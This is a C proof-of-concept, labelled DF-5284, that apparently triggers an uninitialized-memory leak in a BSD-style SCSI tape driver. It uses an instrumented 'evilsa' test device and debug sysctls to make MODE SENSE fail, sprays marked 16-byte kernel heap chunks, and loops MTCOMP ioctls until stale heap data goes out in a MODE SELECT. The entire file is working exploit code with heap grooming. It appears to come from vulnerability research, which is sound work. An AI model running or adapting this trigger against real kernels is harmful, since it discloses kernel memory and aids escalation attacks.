DF-5284 / poc_comp.c
/* * poc_comp.c -- DF-5284 trigger: MTCOMP against the evilsa device with * debug.evilsa.nocomp=1, after spraying marked 16B chunks so sasetparams' * ccomp kmalloc(16) reuses one. Loops until the kernel reports a 28-byte * MODE SELECT (i.e. the uninitialized compression page was transmitted). * * Must run as root, pinned to one CPU ("usched :1 ./poc_comp") for * stable per-CPU magazine reuse. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mtio.h> #include <sys/sysctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int sysctl_int(const char *name, int *val) { size_t len = sizeof(*val); return (sysctlbyname(name, val, &len, NULL, 0)); } static int sysctl_set(const char *name, int val) { return (sysctlbyname(name, NULL, NULL, &val, sizeof(val))); } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/nsa0"; struct mtop mt; int fd, i, m28 = 0, one = 1; fd = open(dev, O_RDWR); if (fd < 0) err(1, "open %s", dev); printf("opened %s\n", dev); /* mount happened with the benign personality (compression page OK) */ if (sysctl_set("debug.evilsa.nocomp", 1) != 0) err(1, "sysctl evilsa.nocomp=1"); printf("evilsa.nocomp=1 (MODE SENSE 0x0f/0x10 -> CAM_REQ_INVALID)\n"); /* spray marked 16B chunks so ccomp reuses one */ if (sysctl_set("debug.evilsa.spray16", 1) != 0) err(1, "sysctl evilsa.spray16"); printf("sprayed+freed marked 16B chunks\n"); for (i = 0; i < 128; i++) { memset(&mt, 0, sizeof(mt)); mt.mt_op = MTCOMP; mt.mt_count = 1; /* calg: default compression */ if (ioctl(fd, MTIOCTOP, &mt) < 0) { printf("attempt %3d: MTCOMP: %s\n", i, strerror(errno)); } else { printf("attempt %3d: MTCOMP ok\n", i); } if (sysctl_int("debug.evilsa.msel28", &m28) != 0) err(1, "sysctl evilsa.msel28"); if (m28 > 0) { printf(">>> 28-byte MODE SELECT captured after %d " "attempts (uninit compression page transmitted)\n", i + 1); sysctl_set("debug.evilsa.msel_dump", 1); close(fd); return (0); } } printf("no 28-byte MODE SELECT seen after 128 attempts\n"); close(fd); return (1); } |